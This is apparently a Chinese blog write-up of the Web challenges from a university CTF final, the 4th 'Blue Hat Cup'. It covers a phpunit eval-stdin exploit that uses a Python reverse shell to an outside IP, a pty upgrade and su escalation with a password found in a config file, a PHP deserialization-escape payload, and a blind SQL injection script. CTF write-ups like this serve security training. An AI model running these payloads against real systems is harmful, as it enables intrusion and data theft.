第四届“蓝帽杯”全国大学生网络安全技能大赛决赛WriteUp(Web部分)


[toc]

php

进入题目,DVWA靶场的界面:

除此之外啥也没有了。我们扫描目录发现 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

下意识想到/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php命令执行漏洞。

经测试,使用system()函数执行命令和exec()函数反弹shell都不行,应该是都禁用了。我们用scandir()函数可以成功列出根目录里的文件:

如上图在根目录里发现flag,尝试用readfile()函数读取flag失败,经测试/flag不可读:

也就是说我们没有权限读取根目录里的flag。。。蒙蔽了。。。

在这里卡了好久,最后在网上搜到了一个pcntl_exec()函数,可以在当前进程空间执行指定程序,当发生错误时返回false,执行成功时没有返回。我们尝试一下该函数,由于没有回显,所以我们只能来反弹shell,Linux系统一般会内置python,我们就用python来反弹shell:

<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("47.101.57.72",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

得到shell后查看根目录中flag文件的权限,发现该文件是属于admin用户的:

怪不得我们之前读取不了。看来我们要以admin用户的权限读取flag,这里切换到admin用户需要使用 su admin 命令。

我们在/var/www/html/connfig目录里面发现了一个config.inc.php文件,读取他,在里面发现一个密码:

但是,这里要注意一个点,就是 su 命令只能在linux的终端上面执行,否则会报错:

这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,su 命令在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备,而我们上面这种反弹shell的方式仅仅是执行命令,没法获得真正的终端。

这时,我们想到了python pty库中的 pty.spawn("/bin/sh") ,可以用它来模拟一个终端设备。我们只需在shell里面输入:

python -c 'import pty;pty.spawn("/bin/sh")'

如上图,用之前在config.inc.php文件里读取到的密码,成功切换到amdin用户并获得了flag。

login

进入题目,显示如下:

扫描目录发现www.zip,下载得到源码:

index.php:

<!DOCTYPE html>
<html>
<head>
    <title>file-reading</title>
</head>
<body>

    <form action="index.php" method="GET">
        username<input type="text" name="user">
        password<input type="text" name="pass">
        repassword<input type="text" name="repass">
        filename<input type="text" name="dir">
        <input type="submit" value="submit">
    </form>

</body>
</html>
only admin can view /flag
<?php
include 'config.php';


$data = unserialize($get);
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
    $myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
} else {
    if (preg_match('/flag|\.\.|\/|index|config/i', $dir)) {
        die('NO Hacker !!!!!!!!');
    }
    $myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
}


?>

config.php:

<?php
error_reporting(0);
class File {

    public $user;
    public $pass;
    public $repass;
    public $dir;

    function __construct($data1, $data2, $data3, $data4)
    {
        $this->user = $data1;
        $this->pass = $data2;
        $this->repass = $data3;
        $this->dir = $data4;
    }

    function Login()
    {
        if (($this->user == 'ohhhh' && $this->pass == 'a3333') || ($this->user == 'admin' && $this->pass == 'admin888')) {
            return true;
        } else {
            return false;
        }
    }

    function __destruct()
    {
        if ($this->Login()) {
            readfile($this->dir);
        } else {
            die('wrong user or pass');
        }
    }
}

function filter($data){
    if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
        return $data;
    } else {
        $filter_arr = array('admin','test','root');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'hacker',$data);
    }

}

if (isset($_GET['user']) && isset($_GET['pass']) && isset($_GET['repass']) && isset($_GET['dir'])) {
    $user = $_GET['user'];
    $pass = $_GET['pass'];
    $repass = $_GET['repass'];
    $dir = $_GET['dir'];

    $get = filter(serialize($_GET));
} else {
    die('hello world');
}



?>

很明显这里是反序列化逃逸。

直接给出payload:

/index.php?user=ohhhh&pass=a3333&repass=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"dir";s:5:"/flag";}&dir=a

执行,得到flag:

login2

这道题和[BJDCTF 2nd]简单注入这道题思路和解法是一样的。

进入题目,显示如下

应该是sql注入,Fuzz一波发现过滤了很多,单引号、双引号、空格、union、select、=和like都tm被ban了。

这里过滤了引号,我们可以用SQL语句逃逸单引号的方法来绕过,主要是通过反斜线\,将单引号转义,从而实现了SQL语句逃逸,造成SQL注入。

SQL语句逃逸单引号

假设sql语句为:

select username,password from users where username='$user' and password='$pwd'

假设输入的用户名是admin\,密码输入的是or 1#整个SQL语句变成了

select username,password from users where username='admin\' and password=' or 1#'

由于单引号被转义,and password=这部分都成了username的一部分,即

username='admin\' and password='

这样 or 1 就逃逸出来了,由此可控,可作为注入点了。

而我们Fuzz的结果也确实发现反斜线没有被ban掉。(注意该点)

当你输入:

admin\
or/**/1#

得到回显 “flag is not here”:

存在盲注,由于union、select等都被ban了,且题目提示我们要登录amdin用户,所以我们思考应该是要将password的值直接读取出来。经测试regexp没有被过滤,我们可以用regexp来匹配进行盲注来得到admin用户的密码,即:

username=admin\  
password=or/**/password/**/regexp/**/binary/**/'^a'#   
// 加上binary关键字用于区分大小写

但是这里由于题目过滤了引号,所以就不能存在’^a’等格式了,我们要用十六进制来绕过即

username=admin\ 
password=or/**/password/**/regexp/**/binary/**/0x5e61#

最终给出exp脚本:

import requests
import string

def str2hex(string):   # 这里由于题目过滤了引号,所以就不能存在'^a'等格式了,我们要用十六进制来绕过
    result = ''
    for i in string:
        result += hex(ord(i))
    result = result.replace('0x', '')
    return '0x' + result


strs = string.ascii_letters + string.digits + '_'
url = "http://eci-2zefgznxebdx6rq2z6g7.cloudeci1.ichunqiu.com/"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = 'or/**/password/**/regexp/**/binary/**/{}#'
if __name__ == "__main__":
    name = ''
    for i in range(1, 40):
        for j in strs:
            passwd = str2hex('^' + name + j)
            payloads = payload.format(passwd)
            postdata = {
                'username': 'admin\\',
                'password': payloads
            }
            r = requests.post(url, data=postdata, headers=headers)
            if "flag" in r.text:
                name += j
                print(j, end='')
                break

得到密码为This1snOtthEr1ghtfLag。

输入密码登录admin用户即可得到flag:

diary_by_admin

"2|1:0|10:1608368047|4:user|8:Z3Vlc3Q=|c381d5168afe25c0eedf422fa940aff7afcd156e4dd076979b562680fe46ad51"

然后不会了。。。。。。


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC